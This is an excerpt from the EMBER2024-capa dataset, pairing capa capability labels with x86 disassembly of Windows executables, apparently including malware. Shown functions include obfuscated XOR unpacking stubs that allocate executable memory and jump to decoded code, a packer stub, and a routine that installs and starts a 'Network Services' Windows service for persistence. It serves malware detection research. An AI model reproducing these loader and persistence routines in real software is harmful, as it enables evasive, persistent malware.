joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401284
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x40
mov ecx, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
mov eax, ecx
mov edx, ecx
lea esi, [ebx + 0xc8]
or eax, 1
imul eax, ebx
lea edi, [ebx + 1]
mov dword [ebp - 0x30], edi
sub edx, eax
mov eax, edx
cdq
idiv esi
xor edx, edx
mov dword [ebp - 0x14], eax
mov eax, ebx
shl eax, cl
add eax, ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
add ecx, ebx
mov dword [ebp - 0x2c], ecx
jmp 0x40136b
xor eax, eax
test edx, edx
mov ecx, dword [ebp - 0x18]
cmovns eax, edx
imul eax, esi
sub ecx, eax
cmp edx, dword [ebp - 0x14]
cmove esi, ecx
test esi, esi
je 0x401374
mov cl, bl
mov edi, esi
mov dword [ebp - 0x10], 0x7e8
sar edi, cl
mov dword [ebp - 0x1c], edi
mov edi, dword [ebp - 0x30]
imul edi, eax
shl eax, cl
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], edi
mov edi, esi
shl edi, cl
mov dword [ebp - 0x24], edi
mov edi, dword [ebp - 0x1c]
mov dword [esp], ebx
mov dword [ebp - 0x34], edx
mov dword [esp + 8], edi
mov edi, dword [ebp - 0x20]
mov dword [esp + 4], edi
call fcn.0040124d
mov edi, dword [ebp - 0x24]
mov dword [esp], ebx
mov dword [ebp - 0x40], eax
mov dword [esp + 8], edi
mov edi, dword [ebp - 0x28]
mov dword [esp + 4], edi
mov edi, ebx
call fcn.0040124d
mov cl, al
sar edi, cl
mov ecx, dword [ebp + 8]
sub eax, edi
mov edi, dword [ebp - 0x40]
add ecx, eax
xor edi, ebx
add edi, dword [ebp + 8]
dec dword [ebp - 0x10]
mov al, byte [edi]
mov byte [ebp - 0x35], al
mov al, byte [ecx]
mov byte [edi], al
mov al, byte [ebp - 0x35]
mov byte [ecx], al
mov edx, dword [ebp - 0x34]
jne 0x40130d
inc edx
cmp edx, dword [ebp - 0x2c]
jle 0x4012cb
add esp, 0x40
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40140d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x150
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
call esi
push edx
mov dword [ebp - 0x124], eax
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x118], 6
push ecx
push ecx
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x114], 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push edx
push edx
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
mov dword [ebp - 0x11c], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push ecx
push ecx
mov dword [esp], 0
mov dword [ebp - 0x120], eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push eax
lea eax, [ebp - 0x134]
mov dword [esp], eax
call dword [sym.imp.USER32.dll_RegisterClassW]
push eax
mov dword [esp], 0
call esi
lea esi, [ebp - 0x10c]
push edx
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
push ecx
push ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1a
mov dword [esp], 0
call dword [sym.imp.SHELL32.DLL_SHGetFolderPathA]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
sub esp, 0x1c
call ebx
mov dword [esp], esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebx - 5]
push esi
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x401647
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 1
call fcn.0040140d
test eax, eax
jne 0x4016e1
lea eax, [ebp - 0x8c]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, 0x40214a
sub eax, 0x4016e8
mov dword [esp], 0x4016e8
mov dword [esp + 4], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x4016e1
lea ebx, [ebp - 0x88]
mov dword [esp], 0
call fcn.0040137c
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.004015b3
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b400
mov dword [esp], str.aDai
call fcn.00401e4d
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x401906
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x401915
pop dword [ebp - 0x20]
mov eax, 0x6336b9ad
add eax, 0x9d095f68
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x386a6
push 0
mov eax, 0xe8d513c6
sub eax, 0xe89432a6
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x8f606770
add ecx, 0x709fdcdb
xor edx, edx
add edx, eax
mov ebx, 0x96fd0c04
sub ebx, 0x96bb9404
add ebx, dword [ebp - 0x20]
mov edi, 0xeefdd67c
add dword [ebp - 0x18], edx
mov esi, dword [ebx]
sub dword [ebp - 0x1c], ecx
xor esi, edi
xor dword [ebp - 8], eax
mov dword [edx], esi
add edx, 0x338b1310
add edx, 0xcc74ecf4
add ebx, 4
loop 0x401970
add eax, 0xe2c010fe
sub eax, 0xe2bf0cff
xor ebx, ebx
add ebx, eax
add eax, 0xc6c65074
sub eax, 0xc6c6506f
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x401d25
Capabilities:
Get file version info

Disassembly:
push ebp
lea ebp, [esp - 0x1a4]
sub esp, 0x224
mov eax, dword [0x412320]
xor eax, ebp
mov dword [ebp + 0x1a0], eax
mov eax, dword [ebp + 0x1ac]
push ebx
push esi
mov esi, dword [ebp + 0x1b0]
push 0x104
lea ecx, [ebp - 0x68]
push ecx
push 0xffffffffffffffff
push eax
xor ebx, ebx
push ebx
push 0xfde9
mov dword [ebp - 0x6c], 0xfffffffd
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
test eax, eax
je 0x401e01
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x68]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [ebp - 0x78], eax
cmp eax, ebx
je 0x401e01
push edi
mov edi, dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
push ebx
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov dword [ebp - 0x70], eax
cmp eax, ebx
je 0x401e00
push eax
push dword [ebp - 0x78]
lea eax, [ebp - 0x68]
push ebx
push eax
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x401df3
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x7c]
push eax
push 0x40e484
push dword [ebp - 0x70]
mov dword [ebp - 0x74], ebx
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x401df3
mov eax, dword [ebp - 0x7c]
movzx ecx, word [eax + 0xa]
mov dword [esi], ecx
movzx ecx, word [eax + 8]
mov dword [esi + 4], ecx
movzx ecx, word [eax + 0xe]
mov dword [esi + 8], ecx
movzx eax, word [eax + 0xc]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x6c], ebx
push dword [ebp - 0x70]
push ebx
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
pop edi
mov ecx, dword [ebp + 0x1a0]
mov eax, dword [ebp - 0x6c]
pop esi
xor ecx, ebp
pop ebx
call fcn.004024bc
add ebp, 0x1a4
leave
ret

Function at 0x4024bc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412320]
jne 0x4024c6
repz ret
jmp fcn.00403ae7
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40633c
pop dword [ebp - 0x50]
mov eax, 0x25019778
sub eax, 0x24c1343c
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xe9ee4578
sub dword [ebp - 0x60], 0x9b9c002d
mov dword [ebp - 0x5c], 0x966181cd
sub dword [ebp - 0x5c], 0x642e3588
mov dword [ebp - 0x58], 0x28135426
sub dword [ebp - 0x58], 0xdbc70ff8
mov dword [ebp - 0x54], 0x486e0849
add dword [ebp - 0x54], 0xb791f7b7
lea eax, [ebp - 0x60]
push eax
mov eax, 0x3e6e589
add eax, 0xfc598ad7
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xe5c538ec
sub dword [ebp - 0x60], 0x7152cf96
mov dword [ebp - 0x5c], 0xffad6900
add dword [ebp - 0x5c], 0x41bef875
mov dword [ebp - 0x58], 0xb60d46e2
add dword [ebp - 0x58], 0xad62258a
mov dword [ebp - 0x54], 0xbfff780e
sub dword [ebp - 0x54], 0xbfff780e
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x34821
push 0
call eax
mov ecx, 0x3f8f
mov edx, eax
mov esi, 0x410000
add esi, dword [ebp - 0x50]
mov ebx, 0xe5b6fbec
add ebx, 0x91a64576
mov edi, dword [esi]
sub edi, ebx
xor dword [ebp - 0x1c], 0xfda19456
mov dword [edx], edi
sub dword [ebp - 0x44], 0x136ad816
add edx, 0xe88be05b
sub edx, 0xe88be057
add esi, 0x5ec62dbe
add esi, 0xa139d246
loop 0x40644d
add eax, 0x458d5678
add eax, 0xba739a97
mov ebx, eax
add eax, 0x2aa5c5c1
sub eax, 0x2aa5c5bc
mov ecx, 0x6554e5a7
add ecx, 0x9aeb1a59
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x12ce584f
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..text_1
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x4ced2507
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401cb0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x28
mov ebx, dword [sym.imp.msvcrt.dll__iob]
lea eax, [esp + 0x34]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
mov dword [esp + 0x1c], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
lea edi, [edi]

Function at 0x401d10
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x5c
mov dword [esp + 0x4c], ebx
mov ebx, eax
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x50], esi
mov esi, edx
mov dword [esp + 0x54], edi
push ecx
pop edi
mov dword [esp + 0x58], ebp
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x401e06
mov eax, dword [esp + 0x38]
cmp eax, 4
jne 0x401d80
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov ebx, dword [esp + 0x4c]
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x54]
mov ebp, dword [esp + 0x58]
add esp, 0x5c
ret
cmp eax, 0x40
je 0x401d55
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov eax, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
cmp eax, 0x40
setne byte [esp + 0x1e]
cmp eax, 4
setne byte [esp + 0x1f]
call sub.msvcrt.dll_memcpy
cmp byte [esp + 0x1f], 0
je 0x401d65
cmp byte [esp + 0x1e], 0
je 0x401d65
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x401d65
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401cb0
nop

Function at 0x4020a0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x460034
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x46004c]
sub esp, 4
test ebx, ebx
je 0x4020eb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
push eax
pop esi
call sub.KERNEL32.dll_GetLastError
or eax, eax
jne 0x4020e4
or esi, esi
je 0x4020e4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
or ebx, ebx
jne 0x4020c0
mov dword [esp], 0x460034
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x401000
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
add esp, 0x190
ret

Function at 0x4010f0
Capabilities:
Accept command line arguments
Create thread

Disassembly:
sub esp, 0xc
push esi
push edi
call fcn.004010e0
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x401030
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
mov dword [esp + 8], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov eax, dword [0x40ba1c]
test eax, eax
jne 0x40125e
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004037f0
call fcn.004010e0
mov eax, dword [0x40ba18]
test eax, eax
je 0x401182
push str.WNT
call fcn.00403dd0
add esp, 4
test eax, eax
je 0x401182
mov dword [0x40ba1c], 1
mov dword [0x40ba18], 0
jmp 0x40124c
mov ecx, dword [0x40ba14]
push ecx
call fcn.00403850
add esp, 4
cmp eax, 0x927c0
jl 0x40124c
push edi
call fcn.00403850
add esp, 4
cmp eax, 0x2bf20
jl 0x40124c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov al, byte [0x409030]
cmp al, 0x91
jne 0x4011d5
push 0x2e
push 0x409030
push 0x409030
call fcn.00403ae0
add esp, 0xc
push 0x409064
call ebp
push eax
call fcn.00403860
add esp, 8
test eax, eax
je 0x40120f
add eax, 3
push 0x2e
push eax
push 0x409030
call esi
push 0x409060
push 0x409030
call fcn.00403860
add esp, 8
test eax, eax
je 0x40120f
mov byte [eax], 0
lea edx, [esp + 0x10]
push edx
call fcn.00403ff0
test eax, eax
je 0x40124c
push 0xc38a
lea eax, [esp + 0x14]
push 0x409030
push eax
call fcn.004040a0
test eax, eax
je 0x401242
lea ecx, [esp + 0x10]
push ecx
call fcn.00402790
add esp, 4
lea edx, [esp + 0x10]
push edx
call fcn.00404070
mov eax, dword [0x40ba1c]
test eax, eax
je 0x40113a
mov esi, dword [esp + 0xc]
pop ebp
test esi, esi
je 0x40126b
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
add esp, 0xc
ret
Function at 0x402200
Capabilities:
Check if file exists
Delete file
Get file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x104
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpynA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
mov esi, dword [esp + 0x114]
push edi
mov byte [eax], 0
mov byte [esi], 0
mov edi, 1
lea ecx, [esp + 0x10]
push ecx
push edi
call fcn.004022e0
add esp, 8
test eax, eax
je 0x40225c
lea edx, [esp + 0x10]
push edx
call ebp
cmp eax, 0xffffffff
je 0x40225c
cmp byte [esi], 0
jne 0x402288
lea eax, [esp + 0x10]
push 0x103
push eax
push esi
call ebx
inc edi
cmp edi, 4
jl 0x40222c
cmp byte [esi], 0
je 0x40227d
mov edi, dword [esp + 0x11c]
push edi
push esi
call fcn.004021c0
test eax, eax
jne 0x40227d
mov byte [edi], al
mov byte [esi], al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, 1
lea ecx, [esp + 0x10]
push ecx
push edi
call fcn.004022e0
add esp, 8
test eax, eax
je 0x4022c0
lea edx, [esp + 0x10]
push edx
call ebx
test eax, eax
jne 0x4022c0
push 4
push eax
lea eax, [esp + 0x18]
push eax
call fcn.00403d80
add esp, 0xc
inc edi
cmp edi, 4
jl 0x402293
mov ecx, dword [esp + 0x11c]
pop edi
mov byte [ecx], 0
mov byte [esi], 0
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
Function at 0x4022e0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x144
mov ecx, 0x41
xor eax, eax
push ebp
push esi
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x154]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
je 0x4023bf
dec eax
je 0x402371
dec eax
jne 0x402421
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x23
push 0
call fcn.004038d0
add esp, 0x14
lea ecx, [esp + 0xc]
push ecx
call edi
cmp byte [esp + eax + 0xb], 0x5c
je 0x402347
mov byte [esp + eax + 0xc], 0x5c
mov byte [esp + eax + 0xd], 0
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402421
mov eax, dword [esp + 0x158]
mov byte [eax], 0
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x144
ret
lea ecx, [esp + 0xc]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [esp + 0xc]
push edx
call edi
cmp byte [esp + eax + 0xb], 0x5c
je 0x402399
mov byte [esp + eax + 0xc], 0x5c
mov byte [esp + eax + 0xd], 0
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402421
mov ecx, dword [esp + 0x158]
pop edi
pop esi
xor eax, eax
mov byte [ecx], 0
pop ebp
add esp, 0x144
ret
lea edx, [esp + 0xc]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0xc]
push eax
call edi
cmp byte [esp + eax + 0xb], 0x5c
je 0x4023e3
mov byte [esp + eax + 0xc], 0x5c
inc eax
lea esi, [esp + eax + 0xc]
push str.Temp
push esi
call ebp
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402415
mov edx, dword [esp + 0x158]
pop edi
pop esi
xor eax, eax
mov byte [edx], 0
pop ebp
add esp, 0x144
ret
push 0x409368
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.2310041506446813044071856
call edi
dec eax
cmp eax, 8
jl 0x402365
mov al, byte [eax + str.2310041506446813044071856]
cmp al, 0x30
jl 0x402365
cmp al, 0x39
jg 0x402365
movsx esi, al
sub esi, 0x30
and esi, 0x80000003
jns 0x40245b
dec esi
or esi, 0xfffffffc
inc esi
push str.2310041506446813044071856
add esi, 4
call edi
sub eax, esi
dec eax
xor ecx, ecx
lea edx, [eax + str.2310041506446813044071856]
mov al, byte [edx]
test al, al
je 0x40248d
test esi, esi
jle 0x40248d
add al, al
inc al
dec esi
mov byte [esp + ecx + 0x110], al
inc edx
inc ecx
cmp ecx, 0x40
jb 0x402470
lea eax, [esp + ecx + 0x111]
push 0x409364
push eax
mov byte [esp + ecx + 0x118], 0x2e
call ebp
lea ecx, [esp + 0xc]
push ecx
call edi
mov edx, 0x104
lea ecx, [esp + 0xc]
sub edx, eax
lea eax, [esp + 0x110]
push edx
push eax
push ecx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea edx, [esp + eax + 0x14]
push edx
call esi
mov ecx, dword [esp + 0x158]
lea eax, [esp + 0xc]
push 0x103
push eax
push ecx
call esi
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x144
ret
Function at 0x402530
Capabilities:
Rebuild import table

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x88
push ebx
push ebp
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [0x40b9a4], eax
je 0x402785
mov ecx, 0x22
xor eax, eax
lea edi, [esp + 0x10]
push 0x30
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
push str.2310041506446813044071856
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, dword [0x40b9a4]
mov edx, dword [0x40ba14]
mov eax, dword [0x40ba18]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Load
push ecx
mov dword [esp + 0x48], 0x40ba1c
mov dword [esp + 0x4c], edx
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], fcn.00404530
mov dword [esp + 0x58], fcn.00404740
mov dword [esp + 0x5c], fcn.00404840
mov dword [esp + 0x60], fcn.00404870
mov dword [esp + 0x64], fcn.00403f00
mov dword [esp + 0x68], fcn.00403ff0
mov dword [esp + 0x6c], fcn.00404070
mov dword [esp + 0x70], fcn.00404080
mov dword [esp + 0x74], fcn.004040a0
mov dword [esp + 0x78], fcn.00404200
mov dword [esp + 0x7c], fcn.00404260
mov dword [esp + 0x80], fcn.004042f0
mov dword [esp + 0x84], 0x404390
mov dword [esp + 0x88], 0x4043f0
mov dword [esp + 0x8c], fcn.00404420
mov dword [esp + 0x90], fcn.00404490
mov dword [esp + 0x94], fcn.00401280
mov dword [esp + 0x98], fcn.004021c0
mov dword [esp + 0x9c], fcn.00402fc0
call esi
mov edx, dword [0x40b9a4]
push 0x409384
push edx
mov ebp, eax
call esi
mov edi, eax
mov eax, dword [0x40b9a4]
push str.Stop
push eax
call esi
mov ecx, dword [0x40b9a4]
push str.Unload
push ecx
mov ebx, eax
call esi
mov esi, eax
mov al, byte [0x409080]
cmp al, 0xb9
jne 0x40269e
push 0x50
push 0x409080
push 0x409080
call fcn.00403ae0
add esp, 0xc
test ebp, ebp
jne 0x4026b9
mov edx, dword [esp + 0xa4]
push edx
push str.Load
push 0x409080
jmp 0x402759
test edi, edi
jne 0x4026d4
mov edx, dword [esp + 0xa4]
push edx
push 0x409384
push 0x409080
jmp 0x402759
test ebx, ebx
jne 0x4026ec
mov edx, dword [esp + 0xa4]
push edx
push str.Stop
push 0x409080
jmp 0x402759
test esi, esi
jne 0x402704
mov edx, dword [esp + 0xa4]
push edx
push str.Unload
push 0x409080
jmp 0x402759
lea edx, [esp + 0x10]
push edx
push 0x88
call ebp
test eax, eax
je 0x40272a
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0x9c]
push eax
push ecx
call edi
call esi
jmp 0x40276e
cmp byte [0x4090d0], 0xb9
jne 0x402747
push 0x6c
push 0x4090d0
push 0x4090d0
call fcn.00403ae0
add esp, 0xc
mov edx, dword [esp + 0xa4]
push edx
push str.Load
push 0x4090d0
mov eax, dword [esp + 0xa8]
push 0x83
push eax
call fcn.00404840
add esp, 0x14
mov ecx, dword [0x40b9a4]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x40b9a4], 0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x88
ret
Function at 0x402cd0
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
sub esp, 0x134
push ebx
push esi
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
jne 0x402cfa
pop edi
pop esi
pop ebx
add esp, 0x134
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x38]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x3d]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x39]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov cl, 0x22
mov byte [esp + 0x38], cl
mov edx, dword [0x4093b8]
mov byte [esp + eax + 0x38], cl
inc eax
mov cl, 0x20
push edx
mov byte [esp + eax + 0x3c], cl
inc eax
mov byte [esp + eax + 0x3c], 0x2f
inc eax
mov byte [esp + eax + 0x3c], 0x73
inc eax
mov byte [esp + eax + 0x3c], 0x72
inc eax
mov byte [esp + eax + 0x3c], 0x76
inc eax
mov byte [esp + eax + 0x3c], cl
lea eax, [esp + eax + 0x3d]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [str.Network_Services]
push 0x12
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x402dae
push eax
push eax
push eax
push eax
lea edx, [esp + 0x48]
push eax
mov eax, dword [str.Network_Services]
push edx
push 1
push 2
push 0x110
push 0xf01ff
push eax
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
je 0x402e69
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x258
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x18], 3
mov dword [esp + 0x1c], eax
mov eax, 0x40ba5c
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
xor eax, eax
mov ecx, 0x493e0
mov dword [esp + eax*8 + 0x24], ecx
mov dword [esp + eax*8 + 0x20], 1
inc eax
cmp eax, 3
jb 0x402dfb
lea edx, [esp + 0xc]
push edx
push 2
push esi
call fcn.00403eb0
mov eax, dword [esp + 0x150]
add esp, 0xc
test eax, eax
je 0x402e4d
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x402e4d
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebx
add esp, 0x134
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call edi
test esi, esi
je 0x402e5d
push esi
call edi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x134
ret
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebx
add esp, 0x134
jmp dword [sym.imp.KERNEL32.dll_GetLastError]